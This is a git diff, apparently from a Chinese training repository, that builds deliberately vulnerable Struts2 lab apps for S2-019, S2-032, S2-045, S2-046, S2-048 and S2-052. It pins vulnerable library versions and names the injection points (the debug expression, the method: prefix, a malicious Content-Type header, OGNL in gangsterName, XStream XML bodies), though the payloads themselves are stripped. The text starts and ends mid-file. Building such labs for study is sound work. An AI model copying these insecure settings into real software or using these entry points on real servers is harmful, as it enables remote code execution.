4.0.0 + + org.example + struts2-s2-019 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.15.1 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-019 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-019/src/main/java/com/myapp/action/HelloWorldAction.java b/struts2-s2-019/src/main/java/com/myapp/action/HelloWorldAction.java new file mode 100644 index 0000000..5e2fc38 --- /dev/null +++ b/struts2-s2-019/src/main/java/com/myapp/action/HelloWorldAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class HelloWorldAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-019/src/main/resources/log4j.properties b/struts2-s2-019/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-019/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-019/src/main/resources/struts.xml b/struts2-s2-019/src/main/resources/struts.xml new file mode 100644 index 0000000..afba7d7 --- /dev/null +++ b/struts2-s2-019/src/main/resources/struts.xml @@ -0,0 +1,15 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + diff --git a/struts2-s2-019/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-019/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..201ee20 --- /dev/null +++ b/struts2-s2-019/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,60 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-019 靶场 + + + +
+
+

Struts2 S2-019 演示靶场

+

这个模块开启了 devMode,可以通过 ?debug=command&expression=... 走进 DebuggingInterceptor 的命令调试分支。

+
+ + + +
+
+ + +
+

+    
+
+ + + diff --git a/struts2-s2-019/src/main/webapp/WEB-INF/web.xml b/struts2-s2-019/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..7d80f32 --- /dev/null +++ b/struts2-s2-019/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-019 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-019/src/main/webapp/index.jsp b/struts2-s2-019/src/main/webapp/index.jsp new file mode 100644 index 0000000..b6dfc7e --- /dev/null +++ b/struts2-s2-019/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-032/Dockerfile b/struts2-s2-032/Dockerfile new file mode 100644 index 0000000..e98992d --- /dev/null +++ b/struts2-s2-032/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-032 +WORKDIR /opt/struts2-s2-032 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-032/target/struts2-s2-032.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-032/Dockerfile_local b/struts2-s2-032/Dockerfile_local new file mode 100644 index 0000000..26f10c9 --- /dev/null +++ b/struts2-s2-032/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-032.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-032/docker-compose.yaml b/struts2-s2-032/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-032/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-032/pom.xml b/struts2-s2-032/pom.xml new file mode 100644 index 0000000..439bfe4 --- /dev/null +++ b/struts2-s2-032/pom.xml @@ -0,0 +1,66 @@ + + + 4.0.0 + + org.example + struts2-s2-032 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.28 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-032 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-032/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-032/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-032/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-032/src/main/resources/log4j.properties b/struts2-s2-032/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-032/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-032/src/main/resources/struts.xml b/struts2-s2-032/src/main/resources/struts.xml new file mode 100644 index 0000000..405aaa3 --- /dev/null +++ b/struts2-s2-032/src/main/resources/struts.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + /WEB-INF/content/index.jsp + + + diff --git a/struts2-s2-032/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-032/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..c285b45 --- /dev/null +++ b/struts2-s2-032/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,58 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-032 靶场 + + + +
+
+

Struts2 S2-032 演示靶场

+

开启动态方法调用后,可以通过 method: 参数让方法名本身参与 OGNL 求值。

+
+ + + +
+
+ + +
+
+ + +
+

+    
+
+ + + diff --git a/struts2-s2-032/src/main/webapp/WEB-INF/web.xml b/struts2-s2-032/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..772bf21 --- /dev/null +++ b/struts2-s2-032/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-032 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-032/src/main/webapp/index.jsp b/struts2-s2-032/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-032/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-045/Dockerfile b/struts2-s2-045/Dockerfile new file mode 100644 index 0000000..6bb949a --- /dev/null +++ b/struts2-s2-045/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-045 +WORKDIR /opt/struts2-s2-045 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-045/target/struts2-s2-045.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-045/Dockerfile_local b/struts2-s2-045/Dockerfile_local new file mode 100644 index 0000000..fccc7a1 --- /dev/null +++ b/struts2-s2-045/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-045.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-045/docker-compose.yaml b/struts2-s2-045/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-045/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-045/pom.xml b/struts2-s2-045/pom.xml new file mode 100644 index 0000000..0f779ea --- /dev/null +++ b/struts2-s2-045/pom.xml @@ -0,0 +1,75 @@ + + + 4.0.0 + + org.example + struts2-s2-045 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.30 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + commons-fileupload + commons-fileupload + 1.3.3 + + + commons-io + commons-io + 2.6 + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-045 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-045/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-045/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-045/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-045/src/main/java/com/myapp/action/UploadAction.java b/struts2-s2-045/src/main/java/com/myapp/action/UploadAction.java new file mode 100644 index 0000000..76d84cc --- /dev/null +++ b/struts2-s2-045/src/main/java/com/myapp/action/UploadAction.java @@ -0,0 +1,31 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; +import java.io.File; + +public class UploadAction extends ActionSupport { + + private File upload; + private String uploadFileName; + private String uploadContentType; + private String note; + + @Override + public String execute() { + if (uploadFileName != null) { + addActionMessage("已接收文件:" + uploadFileName + " / 类型:" + uploadContentType); + } else { + addActionMessage("未收到标准上传文件,本页更适合测试异常 multipart 请求。"); + } + return SUCCESS; + } + + public File getUpload() { return upload; } + public void setUpload(File upload) { this.upload = upload; } + public String getUploadFileName() { return uploadFileName; } + public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; } + public String getUploadContentType() { return uploadContentType; } + public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; } + public String getNote() { return note; } + public void setNote(String note) { this.note = note; } +} diff --git a/struts2-s2-045/src/main/resources/log4j.properties b/struts2-s2-045/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-045/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-045/src/main/resources/struts.xml b/struts2-s2-045/src/main/resources/struts.xml new file mode 100644 index 0000000..d2aa29e --- /dev/null +++ b/struts2-s2-045/src/main/resources/struts.xml @@ -0,0 +1,19 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + + /WEB-INF/content/result.jsp + + + diff --git a/struts2-s2-045/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-045/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..9c001ef --- /dev/null +++ b/struts2-s2-045/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,57 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-045 靶场 + + + +
+
+

Struts2 S2-045 靶场

+

这个模块保留了文件上传入口,并提供一个按钮直接发送恶意 Content-Type 头,复现 multipart 解析异常导致的 OGNL 执行。

+
+ +
+ + + + + +
+ + +
+
点击上面的按钮后,这里会显示响应头和响应体。
+
+
+ + + diff --git a/struts2-s2-045/src/main/webapp/WEB-INF/content/result.jsp b/struts2-s2-045/src/main/webapp/WEB-INF/content/result.jsp new file mode 100644 index 0000000..650cea0 --- /dev/null +++ b/struts2-s2-045/src/main/webapp/WEB-INF/content/result.jsp @@ -0,0 +1,31 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-045 靶场 结果 + + + +
+

上传结果

返回测试页

+
+ + + diff --git a/struts2-s2-045/src/main/webapp/WEB-INF/web.xml b/struts2-s2-045/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..012c274 --- /dev/null +++ b/struts2-s2-045/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-045 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-045/src/main/webapp/index.jsp b/struts2-s2-045/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-045/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-046/Dockerfile b/struts2-s2-046/Dockerfile new file mode 100644 index 0000000..f531bed --- /dev/null +++ b/struts2-s2-046/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-046 +WORKDIR /opt/struts2-s2-046 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-046/target/struts2-s2-046.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-046/Dockerfile_local b/struts2-s2-046/Dockerfile_local new file mode 100644 index 0000000..4ced32a --- /dev/null +++ b/struts2-s2-046/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-046.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-046/docker-compose.yaml b/struts2-s2-046/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-046/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-046/pom.xml b/struts2-s2-046/pom.xml new file mode 100644 index 0000000..0e229bf --- /dev/null +++ b/struts2-s2-046/pom.xml @@ -0,0 +1,75 @@ + + + 4.0.0 + + org.example + struts2-s2-046 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.30 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + commons-fileupload + commons-fileupload + 1.3.3 + + + commons-io + commons-io + 2.6 + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-046 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-046/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-046/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-046/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-046/src/main/java/com/myapp/action/UploadAction.java b/struts2-s2-046/src/main/java/com/myapp/action/UploadAction.java new file mode 100644 index 0000000..76d84cc --- /dev/null +++ b/struts2-s2-046/src/main/java/com/myapp/action/UploadAction.java @@ -0,0 +1,31 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; +import java.io.File; + +public class UploadAction extends ActionSupport { + + private File upload; + private String uploadFileName; + private String uploadContentType; + private String note; + + @Override + public String execute() { + if (uploadFileName != null) { + addActionMessage("已接收文件:" + uploadFileName + " / 类型:" + uploadContentType); + } else { + addActionMessage("未收到标准上传文件,本页更适合测试异常 multipart 请求。"); + } + return SUCCESS; + } + + public File getUpload() { return upload; } + public void setUpload(File upload) { this.upload = upload; } + public String getUploadFileName() { return uploadFileName; } + public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; } + public String getUploadContentType() { return uploadContentType; } + public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; } + public String getNote() { return note; } + public void setNote(String note) { this.note = note; } +} diff --git a/struts2-s2-046/src/main/resources/log4j.properties b/struts2-s2-046/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-046/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-046/src/main/resources/struts.xml b/struts2-s2-046/src/main/resources/struts.xml new file mode 100644 index 0000000..d2aa29e --- /dev/null +++ b/struts2-s2-046/src/main/resources/struts.xml @@ -0,0 +1,19 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + + /WEB-INF/content/result.jsp + + + diff --git a/struts2-s2-046/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-046/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..ca7dd41 Binary files /dev/null and b/struts2-s2-046/src/main/webapp/WEB-INF/content/index.jsp differ diff --git a/struts2-s2-046/src/main/webapp/WEB-INF/content/result.jsp b/struts2-s2-046/src/main/webapp/WEB-INF/content/result.jsp new file mode 100644 index 0000000..922f75d --- /dev/null +++ b/struts2-s2-046/src/main/webapp/WEB-INF/content/result.jsp @@ -0,0 +1,31 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-046 靶场 结果 + + + +
+

上传结果

返回测试页

+
+ + + diff --git a/struts2-s2-046/src/main/webapp/WEB-INF/web.xml b/struts2-s2-046/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..ad80995 --- /dev/null +++ b/struts2-s2-046/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-046 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-046/src/main/webapp/index.jsp b/struts2-s2-046/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-046/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-048/Dockerfile b/struts2-s2-048/Dockerfile new file mode 100644 index 0000000..f86a2c9 --- /dev/null +++ b/struts2-s2-048/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-048 +WORKDIR /opt/struts2-s2-048 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-048/target/struts2-s2-048.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-048/Dockerfile_local b/struts2-s2-048/Dockerfile_local new file mode 100644 index 0000000..ef7b37c --- /dev/null +++ b/struts2-s2-048/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-048.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-048/docker-compose.yaml b/struts2-s2-048/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-048/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-048/pom.xml b/struts2-s2-048/pom.xml new file mode 100644 index 0000000..4b6f795 --- /dev/null +++ b/struts2-s2-048/pom.xml @@ -0,0 +1,70 @@ + + + 4.0.0 + + org.example + struts2-s2-048 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.32 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + commons-io + commons-io + 2.6 + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-048 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-048/src/main/java/com/myapp/action/GangsterAction.java b/struts2-s2-048/src/main/java/com/myapp/action/GangsterAction.java new file mode 100644 index 0000000..d0f121f --- /dev/null +++ b/struts2-s2-048/src/main/java/com/myapp/action/GangsterAction.java @@ -0,0 +1,22 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class GangsterAction extends ActionSupport { + + private String gangsterName; + private String age; + private String description; + + @Override + public String execute() { + return SUCCESS; + } + + public String getGangsterName() { return gangsterName; } + public void setGangsterName(String gangsterName) { this.gangsterName = gangsterName; } + public String getAge() { return age; } + public void setAge(String age) { this.age = age; } + public String getDescription() { return description; } + public void setDescription(String description) { this.description = description; } +} diff --git a/struts2-s2-048/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-048/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-048/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-048/src/main/resources/log4j.properties b/struts2-s2-048/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-048/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-048/src/main/resources/struts.xml b/struts2-s2-048/src/main/resources/struts.xml new file mode 100644 index 0000000..a05b0b5 --- /dev/null +++ b/struts2-s2-048/src/main/resources/struts.xml @@ -0,0 +1,18 @@ + + + + + + + + + /WEB-INF/content/index.jsp + + + /WEB-INF/content/index.jsp + /WEB-INF/content/result.jsp + + + diff --git a/struts2-s2-048/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-048/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..d2cbcf5 --- /dev/null +++ b/struts2-s2-048/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,52 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-048 靶场 + + + +
+
+

Struts2 S2-048 演示靶场

+

页面仿照 Struts Showcase 的 Gangster Name 表单,危险输入点放在 gangsterName。这里保留了常见的沙盒绕过 OGNL 示例,方便直接粘贴测试。

+
+ +
+ + + + + + +
+ + +
+
+
+ + + diff --git a/struts2-s2-048/src/main/webapp/WEB-INF/content/result.jsp b/struts2-s2-048/src/main/webapp/WEB-INF/content/result.jsp new file mode 100644 index 0000000..fa6ec51 --- /dev/null +++ b/struts2-s2-048/src/main/webapp/WEB-INF/content/result.jsp @@ -0,0 +1,31 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-048 结果 + + + +
+

表单提交结果

Gangster Name:

返回测试页

+
+ + + diff --git a/struts2-s2-048/src/main/webapp/WEB-INF/web.xml b/struts2-s2-048/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..536c8e9 --- /dev/null +++ b/struts2-s2-048/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-048 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-048/src/main/webapp/index.jsp b/struts2-s2-048/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-048/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-052/Dockerfile b/struts2-s2-052/Dockerfile new file mode 100644 index 0000000..4e463da --- /dev/null +++ b/struts2-s2-052/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-052 +WORKDIR /opt/struts2-s2-052 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-052/target/struts2-s2-052.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-052/Dockerfile_local b/struts2-s2-052/Dockerfile_local new file mode 100644 index 0000000..8d3c1b2 --- /dev/null +++ b/struts2-s2-052/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-052.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-052/docker-compose.yaml b/struts2-s2-052/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-052/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-052/pom.xml b/struts2-s2-052/pom.xml new file mode 100644 index 0000000..e3b8c0a --- /dev/null +++ b/struts2-s2-052/pom.xml @@ -0,0 +1,75 @@ + + + 4.0.0 + + org.example + struts2-s2-052 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.33 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + org.apache.struts + struts2-rest-plugin + ${struts2.version} + + + com.thoughtworks.xstream + xstream + 1.4.10 + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-052 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-052/src/main/java/com/myapp/action/OrdersController.java b/struts2-s2-052/src/main/java/com/myapp/action/OrdersController.java new file mode 100644 index 0000000..20e09c8 --- /dev/null +++ b/struts2-s2-052/src/main/java/com/myapp/action/OrdersController.java @@ -0,0 +1,27 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class OrdersController extends ActionSupport { + + private String id = "3"; + private String clientName = "demo-order"; + private String note = "rest-plugin xstream demo"; + + @Override + public String execute() { + return SUCCESS; + } + + public String edit() { + addActionMessage("已进入 /orders/{id}/edit 入口,可使用 application/xml 发送 XStream 负载。"); + return SUCCESS; + } + + public String getId() { return id; } + public void setId(String id) { this.id = id; } + public String getClientName() { return clientName; } + public void setClientName(String clientName) { this.clientName = clientName; } + public String getNote() { return note; } + public void setNote(String note) { this.note = note; } +} diff --git a/struts2-s2-052/src/main/resources/log4j.properties b/struts2-s2-052/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-052/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-052/src/main/resources/struts.xml 